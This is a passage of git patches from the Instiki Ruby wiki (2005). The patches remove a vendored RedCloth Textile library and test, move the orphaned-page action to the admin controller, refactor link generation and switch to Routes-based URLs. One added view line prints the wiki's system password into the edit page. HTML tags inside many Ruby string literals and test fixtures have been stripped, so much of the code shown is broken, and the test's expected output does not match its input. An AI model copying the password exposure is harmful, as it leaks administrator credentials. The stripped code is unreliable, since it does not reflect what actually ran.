/(<\/?\w[^\n]*?>)/m - ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m - - def glyphs( text, level = 0 ) - if text !~ HASTAG_MATCH - pgl text - footnote_ref text - else - codepre = 0 - text.gsub!( ALLTAG_MATCH ) do |line| - ## matches are off if we're between ,
             etc.
            -                if $1
            -                    if @filter_html
            -                        line.htmlesc!( :NoQuotes )
            -                    elsif line =~ OFFTAG_OPEN
            -                        codepre += 1
            -                    elsif line =~ OFFTAG_CLOSE
            -                        codepre -= 1
            -                        codepre = 0 if codepre < 0
            -                    end 
            -                ## do htmlspecial if between 
            -                elsif codepre.zero?
            -                    glyphs( line, level + 1 )
            -                else
            -                    line.htmlesc!( :NoQuotes )
            -                end
            -                ## p [level, codepre, orig_line, line]
            -
            -                line
            -            end
            -        end
            -    end
            -
            -    def rip_offtags( text )
            -        pre_list = []
            -        if text =~ /<.*>/
            -            ## strip and encode 
             content
            -            codepre, used_offtags = 0, {}
            -            text.gsub!( OFFTAG_MATCH ) do |line|
            -                if $3
            -                    offtag, aftertag = $4, $5
            -                    codepre += 1
            -                    used_offtags[offtag] = true
            -                    if codepre - used_offtags.length > 0
            -                        line.htmlesc!( :NoQuotes ) 
            -                        pre_list.last << line
            -                        line = ""
            -                    else
            -                        aftertag.htmlesc!( :NoQuotes ) if aftertag
            -                        line = ""
            -                        pre_list << "#{ $3 }#{ aftertag }"
            -                    end
            -                elsif $1 and codepre > 0
            -                    if codepre - used_offtags.length > 0
            -                        line.htmlesc!( :NoQuotes ) 
            -                        pre_list.last << line
            -                        line = ""
            -                    end
            -                    codepre -= 1 unless codepre.zero?
            -                    used_offtags = {} if codepre.zero?
            -                end 
            -                line
            -            end
            -        end
            -        pre_list
            -    end
            -
            -    def smooth_offtags( text, pre_list )
            -        unless pre_list.empty?
            -            ## replace 
             content
            -            text.gsub!( // ) { pre_list[$1.to_i] }
            -        end
            -    end
            -
            -    def inline( text ) 
            -        text.gsub!( /"\z/, "\" " )
            -        pre_list = rip_offtags text
            -
            -        ## apply inline markup
            -        unless @lite
            -            lists text
            -            table text
            -        end
            -
            -        image text 
            -        links text 
            -        code text 
            -        span text
            -
            -        ## replace entities
            -        glyphs text
            -        smooth_offtags text, pre_list
            -    end
            -
            -    def i_align( text )
            -        I_ALGN_VALS[text]
            -    end
            -
            -    def h_align( text ) 
            -        H_ALGN_VALS[text]
            -    end
            -
            -    def v_align( text ) 
            -        V_ALGN_VALS[text]
            -    end
            -
            -    def encode_high( text )
            -        ## mb_encode_numericentity($text, $cmap, $charset);
            -    end
            -
            -    def decode_high( text )
            -        ## mb_decode_numericentity($text, $cmap, $charset);
            -    end
            -
            -    def textile_popup_help( name, helpvar, windowW, windowH )
            -        ' ' + name + '
            ' - end - - CMAP = [ - 160, 255, 0, 0xffff, - 402, 402, 0, 0xffff, - 913, 929, 0, 0xffff, - 931, 937, 0, 0xffff, - 945, 969, 0, 0xffff, - 977, 978, 0, 0xffff, - 982, 982, 0, 0xffff, - 8226, 8226, 0, 0xffff, - 8230, 8230, 0, 0xffff, - 8242, 8243, 0, 0xffff, - 8254, 8254, 0, 0xffff, - 8260, 8260, 0, 0xffff, - 8465, 8465, 0, 0xffff, - 8472, 8472, 0, 0xffff, - 8476, 8476, 0, 0xffff, - 8482, 8482, 0, 0xffff, - 8501, 8501, 0, 0xffff, - 8592, 8596, 0, 0xffff, - 8629, 8629, 0, 0xffff, - 8656, 8660, 0, 0xffff, - 8704, 8704, 0, 0xffff, - 8706, 8707, 0, 0xffff, - 8709, 8709, 0, 0xffff, - 8711, 8713, 0, 0xffff, - 8715, 8715, 0, 0xffff, - 8719, 8719, 0, 0xffff, - 8721, 8722, 0, 0xffff, - 8727, 8727, 0, 0xffff, - 8730, 8730, 0, 0xffff, - 8733, 8734, 0, 0xffff, - 8736, 8736, 0, 0xffff, - 8743, 8747, 0, 0xffff, - 8756, 8756, 0, 0xffff, - 8764, 8764, 0, 0xffff, - 8773, 8773, 0, 0xffff, - 8776, 8776, 0, 0xffff, - 8800, 8801, 0, 0xffff, - 8804, 8805, 0, 0xffff, - 8834, 8836, 0, 0xffff, - 8838, 8839, 0, 0xffff, - 8853, 8853, 0, 0xffff, - 8855, 8855, 0, 0xffff, - 8869, 8869, 0, 0xffff, - 8901, 8901, 0, 0xffff, - 8968, 8971, 0, 0xffff, - 9001, 9002, 0, 0xffff, - 9674, 9674, 0, 0xffff, - 9824, 9824, 0, 0xffff, - 9827, 9827, 0, 0xffff, - 9829, 9830, 0, 0xffff, - 338, 339, 0, 0xffff, - 352, 353, 0, 0xffff, - 376, 376, 0, 0xffff, - 710, 710, 0, 0xffff, - 732, 732, 0, 0xffff, - 8194, 8195, 0, 0xffff, - 8201, 8201, 0, 0xffff, - 8204, 8207, 0, 0xffff, - 8211, 8212, 0, 0xffff, - 8216, 8218, 0, 0xffff, - 8218, 8218, 0, 0xffff, - 8220, 8222, 0, 0xffff, - 8224, 8225, 0, 0xffff, - 8240, 8240, 0, 0xffff, - 8249, 8250, 0, 0xffff, - 8364, 8364, 0, 0xffff - ] -end - diff --git a/vendor/redcloth-2.0.11/tests/poignant.yml b/vendor/redcloth-2.0.11/tests/poignant.yml deleted file mode 100755 index 5e773373..00000000 --- a/vendor/redcloth-2.0.11/tests/poignant.yml +++ /dev/null @@ -1,64 +0,0 @@ ---- # Tests from the (Poignant Guide) -in: > - h3. False - - - ! - if plastic_cup - print "Plastic cup is on the up 'n' up!" - end -
            - - - If @plastic_cup@ contains either @nil@ or @false@, you won't see anything print - to the screen. They're not on the @if@ guest list. So @if@ isn't going to run - any of the code it's protecting. - - - But @nil@ and @false@ need not walk away in shame. They may be of questionable - character, but @unless@ runs a smaller establishment that caters to the bedraggled. - The @unless@ keyword has a policy of only allowing those with a negative charge in. - Who are: @nil@ and @false@. - - -
            -    unless plastic_cup
            -      print "Plastic cup is on the down low."
            -    end
            -  
            - - - You can also use @if@ and @unless@ at the end of a single line of code, if that's - all that is being protected. - - -
            -    print "Yeah, plastic cup is up again!" if plastic_cup
            -    print "Hardly. It's down." unless plastic_cup
            -  
            - - - Now that you've met @false@, I'm sure you can see what's on next. - -out: "

            False

            \n\n\t

            \"Shape

            \n\n\t

            The cat Trady Blix. Frozen in emptiness. Immaculate whiskers rigid. Placid eyes of lake. Tail of warm icicle. Sponsored by a Very Powerful Pause Button.

            \n\n\t

            The darkness surrounding Blix can be called negative space. Hang on to that phrase. Let it suggest that the emptiness has a negative connotation. In a similar way, nil has a slightly sour note that it whistles.

            \n\n\t

            Generally speaking, everything in Ruby has a positive charge to it. This spark flows through strings, numbers, regexps, all of it. Only two keywords wear a shady cloak: nil and false draggin us down.

            \n\n\t

            You can test that charge with an if keyword. It looks very much like the do blocks we saw in the last chapter, in that both end with an end.

            \n\n
            \n  if plastic_cup\n    print \"Plastic cup is on the up 'n' up!\" \n  end\n
            \n\n\t

            If plastic_cup contains either nil or false, you won’t see anything print to the screen. They’re not on the if guest list. So if isn’t going to run any of the code it’s protecting.

            \n\n\t

            But nil and false need not walk away in shame. They may be of questionable character, but unless runs a smaller establishment that caters to the bedraggled. The unless keyword has a policy of only allowing those with a negative charge in. Who are: nil and false.

            \n\n
            \n  unless plastic_cup\n    print \"Plastic cup is on the down low.\" \n  end\n
            \n\n\t

            You can also use if and unless at the end of a single line of code, if that’s all that is being protected.

            \n\n
            \n  print \"Yeah, plastic cup is up again!\" if plastic_cup\n  print \"Hardly. It's down.\" unless plastic_cup\n
            \n\n\t

            Now that you’ve met false, I’m sure you can see what’s on next.
            \n

            " From 112a21da5cce9d0b5f70a5b8f37dd5852c78e18f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 13 Feb 2005 14:58:03 +0000 Subject: [PATCH 157/529] Moved remove_orphaned_pages action to admin controller --- app/controllers/admin_controller.rb | 11 +++++++++ app/controllers/wiki_controller.rb | 11 --------- app/views/admin/edit_web.rhtml | 2 ++ libraries/url_rewriting_hack.rb | 1 + test/functional/admin_controller_test.rb | 29 ++++++++++++++++++++++++ test/functional/wiki_controller_test.rb | 29 ------------------------ 6 files changed, 43 insertions(+), 40 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 969de977..8b970e02 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -76,4 +76,15 @@ class AdminController < ApplicationController end end + def remove_orphaned_pages + if wiki.authenticate(@params['system_password_orphaned']) + wiki.remove_orphaned_pages(@web_name) + flash[:info] = 'Orphaned pages removed' + redirect_to :action => 'list' + else + flash[:error] = password_error(@params['system_password']) + return_to_last_remembered + end + end + end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 9c221329..65098210 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -88,17 +88,6 @@ class WikiController < ApplicationController @pages_by_revision = @pages_in_category.by_revision end - def remove_orphaned_pages - if wiki.authenticate(@params['system_password_orphaned']) - wiki.remove_orphaned_pages(@web_name) - flash[:info] = 'Orphaned pages removed' - redirect_to :action => 'list' - else - flash[:error] = password_error(@params['system_password']) - return_to_last_remembered - end - end - def rss_with_content render_rss end diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 468c4310..6b4e0a5f 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -1,5 +1,7 @@ <% @title = "Edit Web" %> +

            <%= @wiki.system[:password] %>

            +

            Name and address

            diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index 9017d7d2..371dc9ef 100644 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -65,6 +65,7 @@ class DispatchServlet 'create_system' => 'admin', 'create_web' => 'admin', 'edit_web' => 'admin', + 'remove_orphaned_pages' => 'admin', 'file' => 'file', 'import' => 'file', 'pic' => 'file', diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index 3ca5ef85..89b164c5 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -189,4 +189,33 @@ class AdminControllerTest < Test::Unit::TestCase assert_flash_has :error end + + def test_remove_orphaned_pages + setup_wiki_with_three_pages + @wiki.system[:password] = 'pswd' + orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', + "Refers to [[Oak]].\n" + + "category: trees", + Time.now, Author.new('TreeHugger', '127.0.0.2')) + + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') + + assert_redirected_to :action => 'list' + assert_equal [@home, @oak], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + + # Oak is now orphan, second pass should remove it + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + # third pass does not destroy HomePage + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + end + end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index d6d091a8..bf3b64ec 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -325,35 +325,6 @@ class WikiControllerTest < Test::Unit::TestCase end - def test_remove_orphaned_pages - setup_wiki_with_three_pages - @wiki.system[:password] = 'pswd' - orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', - "Refers to [[Oak]].\n" + - "category: trees", - Time.now, Author.new('TreeHugger', '127.0.0.2')) - - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') - - assert_redirected_to :action => 'list' - assert_equal [@home, @oak], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - - - # Oak is now orphan, second pass should remove it - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - - # third pass does not destroy HomePage - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - end - - def test_revision r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' From fd1d0ccc1edaa50b982d30b9996e72a752067403 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 13 Feb 2005 15:57:58 +0000 Subject: [PATCH 158/529] Better readability for URL generation methods in web.rb --- app/models/web.rb | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/app/models/web.rb b/app/models/web.rb index efe903e3..03412e46 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -87,16 +87,16 @@ class Web link = CGI.escape(name) case mode when :export - if has_page?(name) then "#{text}" - else "#{text}" end + if has_page?(name) then %{#{text}} + else %{#{text}} end when :publish - if has_page?(name) then "#{text}" - else "#{text}" end + if has_page?(name) then %{#{text}} + else %{#{text}} end else if has_page?(name) - "#{text}" + %{#{text}} else - "#{text}?" + %{#{text}?} end end end @@ -105,14 +105,14 @@ class Web link = CGI.escape(name) case mode when :export - if has_file?(name) then "\"#{text}\"" - else "\"#{text}\"" end + if has_file?(name) then %{#{text}} + else %{#{text}} end when :publish - if has_file?(name) then "\"#{text}\"" - else "#{text}" end + if has_file?(name) then %{#{text}} + else %{#{text}} end else - if has_file?(name) then "\"#{text}\"" - else "#{text}?" end + if has_file?(name) then %{#{text}} + else %{#{text}?} end end end From 9c04ed3461c1fd2fa63117e5af505d88251067ef Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 13 Feb 2005 18:53:49 +0000 Subject: [PATCH 159/529] Rehashed URL generation once again - templates should not use web.make_link anymore, there is link_for_page helper instead --- app/helpers/application_helper.rb | 7 +++++ app/models/chunks/wiki.rb | 4 +-- app/models/page_lock.rb | 5 ++-- app/models/web.rb | 47 ++++++++++++++++--------------- app/models/wiki_content.rb | 4 +-- app/views/wiki/authors.rhtml | 4 +-- app/views/wiki/locked.rhtml | 13 +++++---- app/views/wiki/revision.rhtml | 2 +- app/views/wiki/web_list.rhtml | 8 +++--- test/unit/chunks/wiki_test.rb | 19 ++++++------- 10 files changed, 62 insertions(+), 51 deletions(-) diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index 9956a1cd..c8d597ac 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -33,4 +33,11 @@ module ApplicationHelper html_options.join("\n") end + def link_to_page(page_name, web = @web, text = nil, options = {}) + raise 'Web not defined' if web.nil? + home_page_url = url_for :web => web.address, :action => 'show', :id => 'HomePage', :only_path => true + base_url = home_page_url.sub(%r-/show/HomePage/?$-, '') + web.make_link(page_name, text, options.merge(:base_url => base_url)) + end + end diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index c277162d..c1e6491e 100644 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -15,7 +15,7 @@ module WikiChunk def initialize(*args) super - @link_type = 'show' + @link_type = :show end def self.apply_to(content) @@ -124,7 +124,7 @@ module WikiChunk link_type_match = LINK_TYPE_SEPARATION.match(@page_name) if link_type_match @link_text = @page_name = link_type_match[1] - @link_type = link_type_match[2..3].compact[0] + @link_type = link_type_match[2..3].compact[0].to_sym end end diff --git a/app/models/page_lock.rb b/app/models/page_lock.rb index 244814af..276274e6 100644 --- a/app/models/page_lock.rb +++ b/app/models/page_lock.rb @@ -2,6 +2,8 @@ module PageLock LOCKING_PERIOD = 30 * 60 # 30 minutes + attr_reader :locked_by + def lock(time, locked_by) @locked_at, @locked_by = time, locked_by end @@ -18,7 +20,4 @@ module PageLock @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil? end - def locked_by_link - web.make_link(@locked_by) - end end \ No newline at end of file diff --git a/app/models/web.rb b/app/models/web.rb index 03412e46..453f84cb 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -46,20 +46,20 @@ class Web wiki.file_yard(self).has_file?(name) end - def make_file_link(mode, name, text) + def make_file_link(mode, name, text, base_url) link = CGI.escape(name) case mode when :export if has_file?(name) then "#{text}" else "#{text}" end when :publish - if has_file?(name) then "#{text}" + if has_file?(name) then "#{text}" else "#{text}" end else if has_file?(name) - "#{text}" + "#{text}" else - "#{text}?" + "#{text}?" end end end @@ -67,43 +67,46 @@ class Web # Create a link for the given page name and link text based # on the render mode in options and whether the page exists # in the this web. + # The links a relative, and will work only if displayed on another WikiPage. + # It should not be used in menus, templates and such - instead, use link_to_page helper def make_link(name, text = nil, options = {}) text = CGI.escapeHTML(text || WikiWords.separate(name)) - mode = options[:mode] - link_type = options[:link_type] || 'show' - case link_type - when 'show' - make_page_link(mode, name, text) - when 'file' - make_file_link(mode, name, text) - when 'pic' - make_pic_link(mode, name, text) + mode = options[:mode] || :show + base_url = options[:base_url] || '..' + link_type = options[:link_type] || :show + case link_type.to_sym + when :show + make_page_link(mode, name, text, base_url) + when :file + make_file_link(mode, name, text, base_url) + when :pic + make_pic_link(mode, name, text, base_url) else raise "Unknown link type: #{link_type}" end end - def make_page_link(mode, name, text) + def make_page_link(mode, name, text, base_url) link = CGI.escape(name) - case mode + case mode.to_sym when :export if has_page?(name) then %{#{text}} else %{#{text}} end when :publish - if has_page?(name) then %{#{text}} + if has_page?(name) then %{#{text}} else %{#{text}} end else if has_page?(name) - %{#{text}} + %{#{text}} else - %{#{text}?} + %{#{text}?} end end end - def make_pic_link(mode, name, text) + def make_pic_link(mode, name, text, base_url) link = CGI.escape(name) - case mode + case mode.to_sym when :export if has_file?(name) then %{#{text}} else %{#{text}} end @@ -111,8 +114,8 @@ class Web if has_file?(name) then %{#{text}} else %{#{text}} end else - if has_file?(name) then %{#{text}} - else %{#{text}?} end + if has_file?(name) then %{#{text}} + else %{#{text}?} end end end diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index 9873ce9e..1b2cfe81 100644 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -31,7 +31,7 @@ require 'chunks/nowiki' # engine. By default these are: # Literal::Pre, Literal::Tags # * :mode -# => How should the content be rendered? For normal display (:display), +# => How should the content be rendered? For normal display (show), # publishing (:publish) or export (:export)? # # AUTHOR: Mark Reid @@ -47,7 +47,7 @@ class WikiContent < String :post_engine_actions => POST_ENGINE_ACTIONS, :engine => Engines::Textile, :engine_opts => [], - :mode => [:display] + :mode => :show } attr_reader :web, :options, :rendered, :chunks diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml index 95c2d924..0a2942a7 100644 --- a/app/views/wiki/authors.rhtml +++ b/app/views/wiki/authors.rhtml @@ -3,9 +3,9 @@
              <% for author in @authors %>
            • - <%= @web.make_link(author) %> + <%= link_to_page author %> co- or authored: - <%= @web.select.pages_authored_by(author).collect { |page| page.link }.join ', ' %> + <%= @web.select.pages_authored_by(author).collect { |page| link_to_page(page.name) }.join ', ' %>
            • <% end %>
            diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml index c878233f..cdcc12eb 100644 --- a/app/views/wiki/locked.rhtml +++ b/app/views/wiki/locked.rhtml @@ -1,10 +1,13 @@ <% @title = "#{@page.plain_name} is locked" %> -<% if @page.lock_duration(Time.now) == 0 %> -

            <%= @page.locked_by_link %> just started editing this page.

            -<% else %> -

            <%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

            -<% end %> +

            + <%= link_to_page(@page.locked_by) %> + <% if @page.lock_duration(Time.now) == 0 %> + just started editing this page. + <% else %> + has been editing this page for <%= @page.lock_duration(Time.now) %> minutes. + <% end %> +

            <%= link_to 'Edit the page anyway', diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml index 1819e37e..725a6e7b 100644 --- a/app/views/wiki/revision.rhtml +++ b/app/views/wiki/revision.rhtml @@ -18,7 +18,7 @@

          diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index 043f547c..a20eea8a 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -44,26 +44,26 @@ class WikiTest < Test::Unit::TestCase def test_file_types # only link - assert_link_parsed_as 'only text', 'only text', 'show', '[[only text]]' + assert_link_parsed_as 'only text', 'only text', :show, '[[only text]]' # link and text - assert_link_parsed_as 'page name', 'link text', 'show', '[[page name|link text]]' + assert_link_parsed_as 'page name', 'link text', :show, '[[page name|link text]]' # link and type (file) - assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'file', '[[foo.tar.gz:file]]' + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', :file, '[[foo.tar.gz:file]]' # link and type (pic) - assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'pic', '[[foo.tar.gz:pic]]' + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', :pic, '[[foo.tar.gz:pic]]' # link, text and type - assert_link_parsed_as 'foo.tar.gz', 'FooTar', 'file', '[[foo.tar.gz|FooTar:file]]' + assert_link_parsed_as 'foo.tar.gz', 'FooTar', :file, '[[foo.tar.gz|FooTar:file]]' # NEGATIVE TEST CASES # empty page name - assert_link_parsed_as '|link text?', '|link text?', 'file', '[[|link text?:file]]' + assert_link_parsed_as '|link text?', '|link text?', :file, '[[|link text?:file]]' # empty link text - assert_link_parsed_as 'page name?|', 'page name?|', 'file', '[[page name?|:file]]' + assert_link_parsed_as 'page name?|', 'page name?|', :file, '[[page name?|:file]]' # empty link type - assert_link_parsed_as 'page name', 'link?:', 'show', '[[page name|link?:]]' + assert_link_parsed_as 'page name', 'link?:', :show, '[[page name|link?:]]' # unknown link type - assert_link_parsed_as 'page name:create_system', 'page name:create_system', 'show', + assert_link_parsed_as 'page name:create_system', 'page name:create_system', :show, '[[page name:create_system]]' end @@ -78,4 +78,3 @@ class WikiTest < Test::Unit::TestCase end end - From 5e25a94e51db34a1dba78791467f1bd8cdca690f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 15 Feb 2005 22:41:58 +0000 Subject: [PATCH 160/529] [BREAK BUILD] Upgrade URL rewriting to Routes (there is one test case in routes_test.rb that fails, and it depends on some refactoring that I agreed upon with Ulysses) --- app/controllers/admin_controller.rb | 4 +- app/controllers/application.rb | 7 +- app/views/file/file.rhtml | 7 +- config/environment.rb | 1 + config/routes.rb | 19 ++++ libraries/url_rewriting_hack.rb | 112 ----------------------- test/functional/admin_controller_test.rb | 26 +++--- test/functional/routes_test.rb | 53 +++++++++++ test/test_helper.rb | 4 +- test/unit/url_rewriting_hack_test.rb | 94 ------------------- 10 files changed, 93 insertions(+), 234 deletions(-) create mode 100644 config/routes.rb delete mode 100644 libraries/url_rewriting_hack.rb create mode 100644 test/functional/routes_test.rb delete mode 100755 test/unit/url_rewriting_hack_test.rb diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 8b970e02..9fcc0111 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -33,7 +33,7 @@ class AdminController < ApplicationController @wiki.create_web(@params['name'], @params['address']) redirect_show('HomePage', @params['address']) else - redirect_to :action => 'index' + redirect_to :controller => 'wiki', :action => 'index' end else # no form submitted -> render template @@ -80,7 +80,7 @@ class AdminController < ApplicationController if wiki.authenticate(@params['system_password_orphaned']) wiki.remove_orphaned_pages(@web_name) flash[:info] = 'Orphaned pages removed' - redirect_to :action => 'list' + redirect_to :controller => 'wiki', :web => @web_name, :action => 'list' else flash[:error] = password_error(@params['system_password']) return_to_last_remembered diff --git a/app/controllers/application.rb b/app/controllers/application.rb index c2648b66..3f4fc67e 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -1,12 +1,7 @@ -require 'url_rewriting_hack' - # The filters added to this controller will be run for all controllers in the application. # Likewise will all the methods added be available for all controllers. class ApplicationController < ActionController::Base - # implements Instiki's legacy URLs - require 'url_rewriting_hack' - before_filter :set_utf8_http_header, :connect_to_model after_filter :remember_location @@ -88,7 +83,7 @@ class ApplicationController < ActionController::Base def remember_location if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get - @session[:return_to] = url_for + @session[:return_to] = @request.request_uri logger.debug("Session ##{session.object_id}: remembered URL '#{@session[:return_to]}'") end end diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml index f4415cf9..63c188eb 100644 --- a/app/views/file/file.rhtml +++ b/app/views/file/file.rhtml @@ -1,10 +1,10 @@ <% @title = "Upload #{@file_name}" - @hide_navigatio = false + @hide_navigation = false %>

          -<%= form_tag({}, {:multipart => true}) %> +<%= form_tag({:controller => 'file', :web => @web_name, :action => 'file'}, {:multipart => true}) %>

          File to upload:
          @@ -14,9 +14,6 @@ as - <% if @page %> - | Cancel (unlocks page) - <% end %>

          <%= end_form_tag %>

          \ No newline at end of file diff --git a/config/environment.rb b/config/environment.rb index 2c32f084..0cf0efa7 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -47,6 +47,7 @@ end require 'action_controller' require 'active_record_stub' require 'instiki_errors' +require 'routes' unless defined? RAILS_DEFAULT_LOGGER RAILS_DEFAULT_LOGGER = Logger.new(STDERR) diff --git a/config/routes.rb b/config/routes.rb new file mode 100644 index 00000000..24ab21ea --- /dev/null +++ b/config/routes.rb @@ -0,0 +1,19 @@ +ActionController::Routing.draw do |map| + map.connect 'create_system', :controller => 'admin', :action => 'create_system' + map.connect 'create_web', :controller => 'admin', :action => 'create_web' + map.connect 'edit_web', :controller => 'admin', :action => 'edit_web' + map.connect 'remove_orphaned_pages', :controller => 'admin', :action => 'remove_orphaned_pages' + + map.connect ':web/file/:id', :controller => 'file', :action => 'file' + map.connect ':web/pic/:id', :controller => 'file', :action => 'pic' + map.connect ':web/import/:id', :controller => 'file', :action => 'import' + + map.connect 'login', :controller => 'wiki', :action => 'login' + map.connect ':web/login', :controller => 'wiki', :action => 'login' + map.connect 'web_list', :controller => 'wiki', :action => 'web_list' + map.connect ':web/web_list', :controller => 'wiki', :action => 'web_list' + map.connect ':web/:action/:id', :controller => 'wiki' + map.connect ':web/:action', :controller => 'wiki' + map.connect ':web', :controller => 'wiki', :action => 'index' + map.connect '', :controller => 'wiki', :action => 'index' +end diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb deleted file mode 100644 index 371dc9ef..00000000 --- a/libraries/url_rewriting_hack.rb +++ /dev/null @@ -1,112 +0,0 @@ -# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. -# It is no doubt a bad practice to override internal implementation of anything. -# When Rails implements some way to do it in the framework, this code should be replaced -# with something more legitimate. - -# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular -# web (sub-wiki) and page within that web. -# -# 1. Controller is determined by action name (default is 'wiki') -# 2. '/name1/' maps to action 'name1', unspecified web -# Example: http://localhost/create_system/ -# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address -# when default controller name is specified as 'wiki', and an application root -# (http://localhost:2500/)is requested. -# 4. '/name1/name2/' maps to web 'name1', action 'name2' -# Example: http://localhost/mywiki/search/ -# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', -# Example: http://localhost/mywiki/show/HomePage - - -require 'dispatcher' - -# Overrides Rails DispatchServlet.parse_uri -class DispatchServlet - - def self.parse_uri(path) - result = parse_path(path) - if result - result[:controller] = ActionMapper.map_to_controller(result[:action]) - result - else - false - end - end - - def self.parse_path(path) - ApplicationController.logger.debug "Parsing URI '#{path}'" - component = '([-_a-zA-Z0-9]+)' - page_name = '(.*)' - case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") - when '/wiki/' - { :web => nil, :controller => 'wiki', :action => 'index' } - when %r{^/#{component}/?$} - { :web => nil, :controller => 'wiki', :action => $1 } - when %r{^/#{component}/#{component}/?$} - { :web => $1, :controller => 'wiki', :action => $2 } - when %r{^/#{component}/#{component}/(.*)/?$} - { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) } - else - false - end - end - - def self.drop_trailing_slash(line) - if line[-1] == ?/ - line.chop - else - line - end - end - - class ActionMapper - - @@action_to_controller_map = { - 'create_system' => 'admin', - 'create_web' => 'admin', - 'edit_web' => 'admin', - 'remove_orphaned_pages' => 'admin', - 'file' => 'file', - 'import' => 'file', - 'pic' => 'file', - } - - def self.map_to_controller(action) - @@action_to_controller_map[action] || 'wiki' - end - - end - -end - - -require 'action_controller/url_rewriter.rb' - -# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme -module ActionController - class UrlRewriter - - VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web - - private - - def resolve_aliases(options) - options[:controller_prefix] = options[:web] unless options[:web].nil? - options - end - - def controller_name(options, controller_prefix) - ensure_slash_suffix(options, :controller_prefix) - - controller_name = case options[:controller_prefix] - when String: options[:controller_prefix] - when false : "" - when nil : controller_prefix || "" - end - # In Instiki we don't need the controller name (there is only one comtroller, anyway) - # therefore the below line is commented out - # controller_name << (options[:controller] + "/") if options[:controller] - return controller_name - end - end -end diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index 89b164c5..bd1fdfcb 100644 --- a/test/functional/admin_controller_test.rb +++ 